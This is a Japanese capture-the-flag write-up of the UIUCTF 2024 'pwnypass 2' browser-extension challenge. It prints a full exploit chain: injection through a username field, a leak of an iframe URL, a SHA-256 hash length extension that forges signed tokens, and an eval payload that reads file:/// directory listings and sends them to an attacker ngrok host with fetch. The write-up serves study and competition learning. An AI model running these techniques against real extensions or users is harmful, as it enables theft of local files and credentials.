UIUCTF 2024 - pwnypass 2
UIUCTF 2024では、クリア者3人、498点という驚異の難易度となったpwnypass 2ですが、やっとクリアできました。一応前記事を読まなくてもわかるようにしたつもりです。
システムを読み解く
メッセージの形式
async function processMessage(request, sender) {
await init();
console.log(sender);
console.log(request);
if (sender.id !== chrome.runtime.id) return;
if (request.action === "issue") {
// generate token
const ts = Math.floor(Date.now()/1000);
const tab = sender.tab.id;
const origin = await getOrigin(tab);
console.log(tab);
console.log(origin);
const command = request.command;
if (!commands.hasOwnProperty(command)) return;
request.args.length = 2; // max 2 args
if (request.args.some((arg) => arg.includes('|'))) return; // wtf, no.
const args = request.args.join('|');
console.log('issue successful!');
const token = `${ts}|${tab}|${origin}|${command}|${args}`;
return [token, await doHmac(token)];
}
if (request.action === "redeem") {
// redeem a token
const {token, hmac} = request;
console.log(`redeeming ${token} ${hmac}`)
if (await doHmac(token) !== hmac) return;
let [ts, tab, origin, command] = token.split("|");
if (parseInt(ts) + 60*5 < Math.floor(Date.now()/1000)) return;
if (sender.tab.id !== parseInt(tab)) return;
if (await getOrigin(parseInt(tab)) !== origin) return;
console.log('redemption successful!');
const args = token.split("|").slice(-2);
return await commands[command](origin, ...args);
}
}
background.jsは二種類のメッセージを受取り、それらはrequest.action
の値によって振り分けられる。
-
issue
は、現在時間、タブ番号、オリジン、コマンドとその引数を受取り、それらを連結したトークンとそれを認証するHMACを返却する。 -
redeem
は、トークンとHMACを受取り、トークンが偽装されていないことを検証し、実際にそれらを実行する
コマンドについては他にもあるが、今回の問題で使いたいのはこれ。
async function evaluate(_origin, data) {
return eval(data);
}
メッセージの流れ
新しくパスワードを発行する場合
-
クライアントページのinput要素に文字が入力されると、content.jsがコマンド
write
のイベントでissueを行い、最新のトークンを保持する。 -
クライアントページの送信ボタンが入力されると、最新のトークンでredeemを行う
autofill.htmlに情報を表示する場合
- content.jsが
read
イベントでissueを行う。 - 返ってきたtokenとHMACをクエリパラメータに付与した
autofill.html
をiframeでページに埋め込む -
autofill.js
がクエリパラメータに付与されたトークンでredeemを行う
ゴール
目的は、/home/user/??????????/flag-??????????/flag2.txt
の内容を読むこと。?
の部分は不明
解法
- 不正なユーザー名を登録して
autofill.html
にインジェクションを行う - インジェクションされたスクリプトで、
autofill.html
のオリジンと、トークンとHMACの一つを取得する。 - トークンとHMACにHash Length Extension Attackを仕掛けて、誤認証されるトークンを生成する
- evaluateイベントを利用して、chromeの
file:///
スキームのページを開き、ディレクトリ名を特定後、ファイルを読む
2~4一つ一つでもめちゃくちゃ重いタスクでした(1はpwnypassでも利用しました)
ステップ1. autofill.htmlへのインジェクション
これはそのまま、usernameにタグを埋め込めば大丈夫。ポイントとしては、">
で始めると(HTML自体は不正ですが)安定してインジェクションが可能。
以下は、ページを読み込むと自動でインジェクションを行うHTMLファイル。登録が完了すると、?stop
クエリパラメータを付与して再読込みして、autofill.html
の内容を更新する。このときに再度パスワードを登録しないようにした。
<html>
<head>
<script>
const sleep = (t) => new Promise((r) => setTimeout(r, t));
const params = new URLSearchParams(location.search);
window.addEventListener("load", async () => {
if(params.has("stop")) return;
const $u = document.querySelector("input[type='text']");
const $p = document.querySelector("input[type='password']");
$u.value = `"\><タグ埋め込み />`;
$p.value = "test";
await sleep(500);
$u.dispatchEvent(new Event("change"));
await sleep(500);
$p.form.dispatchEvent(new Event("submit"));
await sleep(1000);
window.location.assign("?stop")
})
</script>
</head>
<body>
<form method="POST">
<input name="username" type="text" style="width: 45%">
<input name="password" type="password" style="width: 45%">
<input name="submit" type="submit">
</form>
</body>
</html>
ステップ2: autofill.htmlへのURLとクエリパラメータの取得
埋め込まれたautofill.htmlはシャドウDOMを利用して埋め込まれている。
const shadow = host.attachShadow({mode: 'closed'});
これによって、埋め込まれた要素にWebから直接アクセスすることはできないので、簡単にはURLを読み取ることはできない。
また、ステップ1でコードを実行したりiframeを埋め込むという発想もあるが、CSPの制約によってこれも不可
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'none';",
取得するには以下のようなHTMLファイルを生成する。
<html>
<head>
<script >
const src = window.frameElement.src;
console.log(window.frameElement)
</script>
</head>
<body>
</body>
</html>
ステップ1で次を埋め込む
$u.value = `"\>\<meta http-equiv='refresh' content='0;URL=${window.location.origin}/index2.html'\>`;
そうすると、autofill.html
は読み込まれるとindex2.html
にリダイレクトされる。このとき、オリジンは自分の用意したものに変わるため、CSPの制約を抜けられる。また、window.frameElement
は自身を埋め込むiframeの要素を参照できるが、リダイレクトされてもsrcのアトリビュートは変更しないため、autofill.html
へのURLを取得することができる。
ステップ3: Hash Length Extension Attack
ハッシュを利用した認証とは、次のような仕組みになっている
- ソルト+メッセージでハッシュを行う
- メッセージとハッシュを外部に公開する
- 再度ソルト+メッセージでハッシュを行い、前と一致することを確認する
- ソルトの値を知らなければ偽装できない
Hash Length Extension Attack は、ソルトの内容を知らなくても、メッセージにさらに文字列を連結したときのメッセージのハッシュ値を求めることができる攻撃で、したがって、余分な文字列を追記したメッセージを認証させることができる。
詳しい解説記事に、実装方法が載っているが、今回はライブラリを利用した。
ここでメッセージがどのように作成・ハッシュ化されるか確認する。
if (request.action === "issue") {
// generate token
const ts = Math.floor(Date.now()/1000);
const tab = sender.tab.id;
const origin = await getOrigin(tab);
console.log(tab);
console.log(origin);
const command = request.command;
if (!commands.hasOwnProperty(command)) return;
request.args.length = 2; // max 2 args
if (request.args.some((arg) => arg.includes('|'))) return; // wtf, no.
const args = request.args.join('|');
console.log('issue successful!');
const token = `${ts}|${tab}|${origin}|${command}|${args}`;
return [token, await doHmac(token)];
}
メッセージは{ts}|{tab}|{origin}|{command}|{arg1}|{arg2}
の形式であることがわかるが、argの数は2つまでと制限されており、一見メッセージを追記するとは難しそうに見える。
次にハッシュを行う箇所を見ると、
const s2a = (text) => Uint8Array.from(Array.from(text).map(letter => letter.charCodeAt(0)));
const doHmac = async (d) => toHexString(new Uint8Array(await crypto.subtle.digest('SHA-256', concat(keyArr, s2a(d)))));
async function initKey() {
let keyIvString = await getStorage("key");
if (keyIvString === undefined) {
const newKey = new Uint8Array(32);
crypto.getRandomValues(newKey);
const newIv = new Uint8Array(16);
crypto.getRandomValues(newIv);
keyIvString = toHexString(newKey)+"|"+toHexString(newIv);
await setStorage("key", keyIvString);
}
const [keyString, ivString] = keyIvString.split("|");
keyArr = fromHexString(keyString);
iv = fromHexString(ivString);
}
s2a
は、文字列を受け取ってintの配列に変換する。doHmac
はkeyArr
(つまりソルト)とs2a(d)
を連結してハッシュ関数に入れている。keyArr
は32バイトのソルトであることがわかる。
このs2a
関数には、0xff
以上の文字を入力すると下1バイトのみしか残らないというバグがあることがわかる。javascriptは基本的にすべての文字がutf-8として扱われるので、2バイト以上の文字を入力することは可能だからである。
しかも、parseIntは数字以外が数字の後ろに付いていたとしても無視されるので、tab
の後ろに数字でない文字列をくっつけても、このチェックは通過する。
if (sender.tab.id !== parseInt(tab)) return;
以上より、次のような変換を考える。
(?はパディングのヌル文字)
1720614636|974234124|https://xxx.ngrok.app|read||???????????????????????????????????????????????|https://xxx.ngrok.ap|evaluate|eval(atob(<base64 code>))
↓ 変換 ↑下位2バイト
1720614492|974234124żŨŴŴŰĺįįŬůţšŬŨůųŴĺĹĹııżŲťšŤżżƀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĂƈ|https://xxx.ngrok.ap|evaluate|eval(atob(<base64 code>))
これで、トークンに文字列を追加しHash Length Extension Attackを行う準備が整った。
_, _, origin, _, _, _ = _token.split("|")
code = generateCode()
magic = HashTools.new("sha256")
_token, hmac = magic.extension(
secret_length=32,
original_data=_token.encode(),
append_data=f"|{origin}|evaluate|{code}|".encode(),
signature=_hmac
)
cnt = 0
r = []
for i in range(len(_token)):
if _token[i] == ord('|'):
cnt += 1
if cnt > 1 and cnt < 6:
r.append(chr(_token[i] + 256))
else:
r.append(chr(_token[i]))
token = "".join(r)
pythonのツールを使いたいため、このようなフローになった
-
index.html
でステップ1を行い、index2.html
へのリダイレクトを行うXSSを行う -
index2.html
がステップ2を行い、index3.html?v=<autofill.htmlへのURL>
にリダイレクトする - vの値から、Hash Length Extension Attackを行ったtokenとhmacの値を計算し、
index3.html?token=XXX&hmac=YYY
にリダイレクト
evaluateのイベントを呼び出せるようになったので、任意のコードを実行できるようになった。
Step 4: ファイル探索
Chrome Extensionは通常のWebページよりも権限が強くて、新しいタブでページを開いて、そこでスクリプトを実行させたり、file://
プロトコルでタブを開けたりする(仕様)。また、Chromeはfile://
プロトコルでディレクトリを開くとディレクトリ内のファイル一覧が見れるので、ファイルの保存場所を特定できる。
(async () => {{
const sleep = function(t) {{ return new Promise(function(r){{setTimeout(r, t)}}) }};
const tab = await new Promise(function(res) {{
chrome.tabs.create({{
url: "file:///home/user/"
}}, res);
}});
await sleep(500);
const res = await new Promise(function(res) {{
chrome.tabs.executeScript(tab.id, {{
code: "document.body.innerText"
}}, res);
}});
fetch("https://xxx.ngrok.app/ans?x=" + res)
return
}})()
実際のコード
<html>
<head>
<script>
const sleep = (t) => new Promise((r) => setTimeout(r, t));
const params = new URLSearchParams(location.search);
window.addEventListener("load", async () => {
if(params.has("stop")) return;
const $u = document.querySelector("input[type='text']");
const $p = document.querySelector("input[type='password']");
$u.value = `"\>\<meta http-equiv='refresh' content='0;URL=${window.location.origin}/index2.html'\>`;
$p.value = "test";
await sleep(500);
$u.dispatchEvent(new Event("change"));
await sleep(500);
$p.form.dispatchEvent(new Event("submit"));
await sleep(1000);
window.location.assign("?stop")
})
</script>
</head>
<body>
<form method="POST">
<input name="username" type="text" style="width: 45%">
<input name="password" type="password" style="width: 45%">
<input name="submit" type="submit">
</form>
</body>
</html>
<html>
<head>
<script >
window.location.assign("https://xxx.ngrok.app/index3.html?v=" + btoa(window.frameElement.src))
</script>
</head>
<body>
</body>
</html>
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib
import base64
import urllib.parse
import HashTools
def generateCode():
c = f"""
(async () => {{
const sleep = function(t) {{ return new Promise(function(r){{setTimeout(r, t)}}) }};
const tab = await new Promise(function(res) {{
chrome.tabs.create({{
url: "file:///home/user/"
}}, res);
}});
await sleep(500);
const res = await new Promise(function(res) {{
chrome.tabs.executeScript(tab.id, {{
code: "document.body.innerText"
}}, res);
}});
fetch("https://d48c9f70a4ce.ngrok.app/fake?x=" + res)
return
}})()
"""
return f"eval(atob('{base64.b64encode(c.encode()).decode()}'))"
class RedirectHandler(SimpleHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
query = urllib.parse.parse_qs(parsed.query)
if "v" in query:
url = urllib.parse.urlparse(base64.b64decode(query.get("v")[0]).decode("utf-8"))
q = urllib.parse.parse_qs(url.query)
_hmac = q.get("hmac")[0]
_token = q.get("token")[0]
_, _, origin, _, _, _ = _token.split("|")
code = generateCode()
magic = HashTools.new("sha256")
_token, hmac = magic.extension(
secret_length=32,
original_data=_token.encode(),
append_data=f"|{origin}|evaluate|{code}|".encode(),
signature=_hmac
)
cnt = 0
r = []
for i in range(len(_token)):
if _token[i] == ord('|'):
cnt += 1
if cnt > 1 and cnt < 6:
r.append(chr(_token[i] + 256))
else:
r.append(chr(_token[i]))
token = "".join(r)
self.send_response(302)
self.send_header('Location', f'{url.scheme}://{url.netloc}{url.path}?token={urllib.parse.quote(token)}&hmac={hmac}')
self.end_headers()
return
super().do_GET()
def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
server_address = (addr, port)
httpd = server_class(server_address, handler_class)
print(f"Starting HTTP server on {addr}:{port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
感想
- Chrome Extensionの権限の強さにビビった。これ、本当に信用できる拡張機能しかインストールしちゃいけないやつですね
- Hash Length Extension Attackは絶対に初見じゃ思いつかない上に、仕組みを理解するのが大変だったので、しっかり学べてよかった
Discussion